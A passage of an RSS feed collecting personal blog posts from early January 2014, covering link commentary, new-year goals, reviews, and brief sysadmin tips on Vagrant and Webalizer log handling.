                &lt;p&gt;&lt;a href="https://zacs.site/blog/computers-on-your-face.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 02 Jan 2014 18:10:35 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/computers-on-your-face.html</guid></item><item><title>Two Years After Quitting My Job: 2013 in Review</title><link>http://nathanbarry.com/2013-review/</link><description>&lt;p&gt;Sitting here trying to decide the best way to fulfill &lt;a href="https://zacs.site/blog/i-dont-write-for-pageviews.html"&gt;my goals for this website&lt;/a&gt;, I found Nathan Barry&amp;#8217;s post&amp;#160;&amp;#8212;&amp;#160;and, subsequently, his past &amp;#8220;year in review&amp;#8221; updates&amp;#160;&amp;#8212;&amp;#160;simultaneously inspiring and disheartening all at once. On the one hand, we have an amazing success story: after quitting his job Nathan has nearly doubled his salary every year, to say nothing for his readership and all his other impressive accomplishments; on the other hand, though, more than a year has passed since I started this website and I cannot consistently attract twenty pageviews a day. Needless to say, I make nothing for the countless hours I devote to this profession. No matter how much I want to take this from a nights and weekend hobby to a full-time venture, I have no choice but to keep waking up each morning and driving off to work.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://nathanbarry.com/2013-review/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 02 Jan 2014 17:12:24 GMT</pubDate><guid isPermaLink="true">http://nathanbarry.com/2013-review/</guid></item><item><title>How and why Bitcoin will plummet in price</title><link>http://marginalrevolution.com/marginalrevolution/2013/12/how-and-why-bitcoin-will-plummet-in-price.html</link><description>&lt;p&gt;An interesting article from Tyler Cowen that gained considerable popularity on Hacker News a few days ago, for very good reason: although a difficult read at times, his article makes a strong case for Bitcoin&amp;#8217;s inevitable decline. Also worth reading, Tyler linked to &lt;a href="http://www.nakedcapitalism.com/2013/04/dan-kervick-bitcoins-deflationary-weirdness.html"&gt;an article by Dan Kervick&lt;/a&gt; in a similar vein to this one along with another of his own from November, &lt;a href="http://marginalrevolution.com/marginalrevolution/2013/11/china-and-the-soaring-price-of-bitcoin.html"&gt;&lt;em&gt;China, and the soaring price of Bitcoin&lt;/em&gt;&lt;/a&gt;, both worth checking out.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://marginalrevolution.com/marginalrevolution/2013/12/how-and-why-bitcoin-will-plummet-in-price.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 02 Jan 2014 16:12:49 GMT</pubDate><guid isPermaLink="true">http://marginalrevolution.com/marginalrevolution/2013/12/how-and-why-bitcoin-will-plummet-in-price.html</guid></item><item><title>In Defense of the Defender</title><link>http://huckberry.com/blog/posts/in-defense-of-the-defender</link><description>&lt;p&gt;What an awesome vehicle. Not only does it look great, it drives exceptionally well too, and can handle quite literally any terrain thrown at it. It&amp;#8217;s a pity, then, to see such a rugged, utilitarian SUV like this one fade away only to have a more stylish, inarguably less capable one replace it. How disappointing.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://huckberry.com/blog/posts/in-defense-of-the-defender"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 02 Jan 2014 14:12:01 GMT</pubDate><guid isPermaLink="true">http://huckberry.com/blog/posts/in-defense-of-the-defender</guid></item><item><title>The Woes of Facebook</title><link>http://www.theculinarylife.com/2013/woes-facebook-where-else-follow-me/</link><description>&lt;p&gt;I predicted this a while ago in an IRC conversation during a 5by5 broadcast, and many jumped at me for criticizing the practice of promoting one&amp;#8217;s business on Facebook. To be fair, I made this statement prematurely: it took Facebook another year or two to actually begin diminishing their position as a viable source of attention. Now, though, I cannot say that this development surprises me in the least.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.theculinarylife.com/2013/woes-facebook-where-else-follow-me/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 02 Jan 2014 14:01:52 GMT</pubDate><guid isPermaLink="true">http://www.theculinarylife.com/2013/woes-facebook-where-else-follow-me/</guid></item><item><title>Vagrant clustered SSH and ‘screen’</title><link>https://purpleidea.com/blog/2014/01/02/vagrant-clustered-ssh-and-screen/</link><description>&lt;p&gt;Some fun updates for vagrant hackers&amp;hellip; I wanted to use the venerable clustered SSH (&lt;code&gt;cssh&lt;/code&gt;) and &lt;code&gt;screen&lt;/code&gt; with vagrant. I decided to expand on my &lt;a href="https://gist.github.com/purpleidea/8071962#file-bashrc_vagrant-sh-L17"&gt;&lt;code&gt;vsftp&lt;/code&gt;&lt;/a&gt; script. First read:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p style="text-align: center;"&gt;&lt;strong&gt;&lt;a href="https://purpleidea.com/blog/2013/12/09/vagrant-on-fedora-with-libvirt/" title="Vagrant on Fedora with libvirt"&gt;Vagrant on Fedora with libvirt&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
and
&lt;blockquote&gt;
&lt;p style="text-align: center;"&gt;&lt;strong&gt;&lt;a href="https://purpleidea.com/blog/2013/12/21/vagrant-vsftp-and-other-tricks/" title="Vagrant vsftp and other tricks"&gt;Vagrant vsftp and other tricks&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
to get up to speed on the background information.
&lt;p&gt;&lt;strong&gt;&lt;span style="text-decoration: underline;"&gt;Vagrant screen&lt;/span&gt;:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;First, a simple &lt;code&gt;screen&lt;/code&gt; hack&amp;hellip; I often use my &lt;code&gt;vssh&lt;/code&gt; alias to quickly ssh into a machine, but I don&amp;rsquo;t want to have to waste time with &lt;code&gt;sudo&lt;/code&gt;-ing to &lt;em&gt;root&lt;/em&gt; and then running &lt;code&gt;screen&lt;/code&gt; each time. Enter &lt;code&gt;vscreen&lt;/code&gt;:&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Thu, 02 Jan 2014 02:40:49 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2014/01/02/vagrant-clustered-ssh-and-screen/</guid></item><item><title>Python is the Language of the Year</title><link>https://nicolaiarocci.com/python-is-the-language-of-the-year/</link><description>&lt;p&gt;We shouldn’t really trust this kind of statistics, I know, but when my favorite language comes out as a clear winner, I can’t resist and take them for good.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Python is the “language of the year” according to the PYPL index : it had the biggest increase in popularity share in 2013. PHP had the biggest decline. Meanwhile, Java continues to have the highest popularity share among the programming languages.&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Thu, 02 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/python-is-the-language-of-the-year/</guid></item><item><title>Why Are All These Idiots More Successful Than You?</title><link>https://nicolaiarocci.com/why-are-all-these-idiots-more-successful-than-you/</link><description>&lt;blockquote&gt;
&lt;p&gt;You’re so damn smart — I’ve told you how awesome I think you and the solutions you’ve built…they’re amazing. You have so many awesome things on your hard drive you built that it would blow the world away if only they knew. You created Facebook before there was Facebook and PayPal before there was PayPal. But recently I’ve heard you ask, “how can this junk software out there be so popular?”…why are all these idiots more successful than me?&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Thu, 02 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/why-are-all-these-idiots-more-successful-than-you/</guid></item><item><title>Supercomputer Weather Visualization in a Browser</title><link>https://www.danstroot.com/posts/2014-01-02-supercomputer-weather-visualization-in-a-browser</link><description>&lt;img alt="post image" src="https://danstroot.imgix.net/assets/blog/img/earth_wind_map.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;This is a pretty amazing technology demonstration of what is possible using the currently available open source tooling, open source data, and using cloud service providers for hosting and content delivery.  It was written by Cameron Beccario (@cambecc). Check it out below.&lt;br /&gt;&lt;br /&gt;This post &lt;a href="https://www.danstroot.com/posts/2014-01-02-supercomputer-weather-visualization-in-a-browser"&gt;Supercomputer Weather Visualization in a Browser&lt;/a&gt; first appeared on &lt;a href="https://www.danstroot.com"&gt;Dan Stroot's Blog&lt;/a&gt;</description><author>Dan Stroot</author><pubDate>Thu, 02 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.danstroot.com/posts/2014-01-02-supercomputer-weather-visualization-in-a-browser</guid></item><item><title>How I Learn Languages</title><link>https://korz.dev/2014/01/how-i-learn-languages/</link><description>&lt;p&gt;Usually one might expect an article by an experienced polyglot speaking a dozen
of languages when reading such a headline. But in this case, it&amp;rsquo;s just a German
teenager who&amp;rsquo;s only fluent in German and English, while also learning Spanish
and French.&lt;/p&gt;</description><author>Niklas Korz</author><pubDate>Thu, 02 Jan 2014 01:00:00 GMT</pubDate><guid isPermaLink="true">https://korz.dev/2014/01/how-i-learn-languages/</guid></item><item><title>Who to Follow in 2014</title><link>https://zacs.site/blog/who-to-follow-in-2014.html</link><description>&lt;p&gt;Earlier this week Matt Gemmell posted &lt;a href="http://mattgemmell.com/who-to-read-in-2014/"&gt;&lt;em&gt;Who to Read in 2014&lt;/em&gt;&lt;/a&gt;, where he pointed out ten writers and explained why he felt everyone should pay attention to their work in the upcoming year. At the end of his post, after listing his five favorite articles from the last twelve months, he called on other writers to provide their version of this list. Never one to back down from a challenge, I have done so with a bit of a twist: in addition to the individuals I believe everyone should follow in 2014, I also included a section devoted to people I believe we ought to stop reading before providing a collection of my own favorite works.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/who-to-follow-in-2014.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 01 Jan 2014 21:48:38 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/who-to-follow-in-2014.html</guid></item><item><title>Making `logrotate` and Webalizer play nice</title><link>https://bastian.rieck.me/blog/2014/logrotate_and_webalizer/</link><description>&lt;p&gt;I am using &lt;a href="http://webalizer.org"&gt;Webalizer&lt;/a&gt; for accessing the logs of all virtual hosts on
my server. Some time ago, I noticed that the logs were not being
analysed completely. Instead, &lt;code&gt;logrotate&lt;/code&gt; would cause the current log to be rotated away &lt;em&gt;before&lt;/em&gt;
Webalizer was able to record any changes.&lt;/p&gt;
&lt;p&gt;The solution turned out to be very simple: Instruct Webalizer to use the &lt;em&gt;old&lt;/em&gt; log file and enable
its incremental mode. Thus, here is my updated configuration file (in excerpts):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;LogFile      /var/www/bastian.rieck.ru/logs/access.log.1
OutputDir    /var/www/bastian.rieck.ru/stats
HostName     bastian.rieck.ru
Incremental yes
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;All configuration files are placed in &lt;code&gt;/etc/webalizer&lt;/code&gt;, making it possible to create a cronjob that
executes &lt;code&gt;for i in /etc/webalizer/*.conf; do webalizer -c $i; done&lt;/code&gt;.&lt;/p&gt;</description><author>Ecce Homology on Bastian Grossenbacher Rieck's personal homepage</author><pubDate>Wed, 01 Jan 2014 18:20:00 GMT</pubDate><guid isPermaLink="true">https://bastian.rieck.me/blog/2014/logrotate_and_webalizer/</guid></item><item><title>This Is the End</title><link>https://olshansky.info/movie/this_is_the_end/</link><description>Olshansky's review of This Is the End</description><author>🦉 olshansky 🦁</author><pubDate>Wed, 01 Jan 2014 15:04:54 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/this_is_the_end/</guid></item><item><title>Cabin Porn Roundup</title><link>https://zacs.site/blog/cabin-porn-roundup-1213.html</link><description>&lt;p&gt;A collection of my favorite cabins from &lt;a href="http://cabinporn.com"&gt;Cabin Porn&lt;/a&gt; and other similar sites, beginning with &lt;a href="http://cabinporn.com/post/68806432681"&gt;The Watershed&lt;/a&gt;. A seventy-square-foot building in the woods of Oregon specifically designed as a writer&amp;#8217;s retreat, I love the idea of a small, designated area set apart in which to conduct one&amp;#8217;s most personal work. Although given the type of articles I traditionally post I feel such an environment would not be particularly conducive to my writing, but that said I would still love to try such a thing. Perhaps some day.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/cabin-porn-roundup-1213.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 01 Jan 2014 13:11:13 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/cabin-porn-roundup-1213.html</guid></item><item><title>Mockingjay (The Hunger Games, #3)</title><link>https://apurva-shukla.me/bookshelf/mockingjay-the-hunger-games-3/</link><description>⭐ ⭐ ⭐ ⭐ This book was a huge success in many levels, with the superb plot and amazing vibe. I really was drawn into this book and couldn’t…</description><author>Apurva Shukla's RSS Feed</author><pubDate>Wed, 01 Jan 2014 10:00:00 GMT</pubDate><guid isPermaLink="true">https://apurva-shukla.me/bookshelf/mockingjay-the-hunger-games-3/</guid></item><item><title>Building the ultimate portfolio site with Nuxt.js and Netlify.</title><link>https://zackproser.com/blog/building-nuxt-portfolio</link><description>A technical deep dive on building a portfolio site that is beautiful, blazing fast and 100% SEO optimized</description><author>Zachary Proser</author><pubDate>Wed, 01 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://zackproser.com/blog/building-nuxt-portfolio</guid></item><item><title>How to complete a project</title><link>https://josh.works/2014/01/01/how-to-complete-a-project/</link><description>&lt;p&gt;Most of us have goals. And we usually don’t reach any of them.
The 
&lt;a href="http://en.wikipedia.org/wiki/Minimum_viable_product"&gt;Minimum Viable Product&lt;/a&gt; “concept” has helped me with some goals, and it could be helpful to you.&lt;/p&gt;

&lt;p&gt;It’s a simple concept: When starting something new, figure out what the minimum investment would get you the required return.&lt;/p&gt;

&lt;p&gt;Here’s how it played out for me in the last few weeks:&lt;/p&gt;

&lt;p&gt;I’ve wanted to write a book about lead climbing, and how to deal with fear. It was so daunting of a project, I put off any progress for a long time, and then once I 
did start making progress, I easily sidetracked myself down a thousand different rabbit trails.&lt;/p&gt;

&lt;p&gt;The only time I have made progress was when focusing on the 
minimum required investment, and what next step would get me there.&lt;/p&gt;

&lt;p&gt;I am far from done, but it’s gotten me this far.&lt;/p&gt;

&lt;p&gt;Check out www.belaybetter.com to see the results of this particular project. You can download a sample chapter for free, and of course, buy the book if you’re interested.&lt;/p&gt;

&lt;p&gt; &lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Wed, 01 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/2014/01/01/how-to-complete-a-project/</guid></item><item><title>Conquering 2014: Goals for the New Year</title><link>https://benovermyer.com/blog/2014/01/conquering-2014-goals-for-the-new-year/</link><description>&lt;p&gt;This year will be the year of connections, if everything goes according to plan. I hope to really strengthen my relationships with my friends, family, and the communities I care about. Since I had so much trouble with six goals last year, this time around I'm dropping down to just three big ones.&lt;/p&gt;
&lt;h1 id="goal-1-get-fit"&gt;Goal #1 - Get Fit&lt;/h1&gt;
&lt;p&gt;I'm going to several conventions this year where I'll be cosplaying as a Red Lantern (Denver Comic Con, Minneapolis Comic Con, and Convergence). If I'm going to be in a skin-tight outfit, the gut has to go. Toward that end, I'm going to make two major changes in my lifestyle. The first will be to make 50% of most meals I eat vegetables. That change alone should have a dramatic effect on my health, even if it doesn't give me the physique I'm looking for. The second change will be to devote a portion of every day to strenuous physical activity. I'm going to be looking to the paleo community for help on this. These two changes will be very difficult for me, so I will need all the moral support I can get.&lt;/p&gt;
&lt;h1 id="goal-2-connect-with-family"&gt;Goal #2 - Connect with Family&lt;/h1&gt;
&lt;p&gt;Maintaining contact with people I don't see on a daily basis has always been hard for me. I don't know why, exactly, but I guess it's just a matter of tunnel vision. So this year, I'm going to focus on keeping in touch with my family at a minimum. To do that, I'm planning on making three changes in my life. The first is to call my sister and parents every week. The second is to make a habit of updating Facebook every day with the highlights of that day, or maybe the plans for the next day. The third is to carve out at least an hour every weekday and half the day on weekends for spending time with my awesome wife Treasure, whom I sadly had not been spending enough time with in 2013.&lt;/p&gt;
&lt;h1 id="goal-3-draw-daily"&gt;Goal #3 - Draw Daily&lt;/h1&gt;
&lt;p&gt;Since college, I haven't drawn much at all. Sure, I do color work for Silver Gryphon Games on a regular basis, but my other art skills have been neglected. So, in 2014 I'm going to make it a habit to draw for at least ten minutes every day. It doesn't matter whether that's practicing life drawing, sketching random things, or doing full-on finished renderings. As long as I draw for ten minutes, that day will be considered a success, even if the end product is awful. It would be nice to document this by posting the result on Tumblr, but I'm not going to commit to that.&lt;/p&gt;</description><author>Ben Overmyer's Site</author><pubDate>Wed, 01 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://benovermyer.com/blog/2014/01/conquering-2014-goals-for-the-new-year/</guid></item><item><title>Blood &amp;amp; Brain ; Heart &amp;amp; Helix</title><link>https://taylor.town/blood-brain-heart-helix</link><description>nature and nurture</description><author>taylor.town</author><pubDate>Wed, 01 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://taylor.town/blood-brain-heart-helix</guid></item><item><title>2014 Technology Predictions</title><link>https://justingarrison.com/blog/2014-01-01-2014-technology-predictions/</link><description>A new year is here so I’ll take another swing at how technology will change in the year 2014. This will</description><author>Justin Garrison's Homepage</author><pubDate>Wed, 01 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://justingarrison.com/blog/2014-01-01-2014-technology-predictions/</guid></item></channel></rss>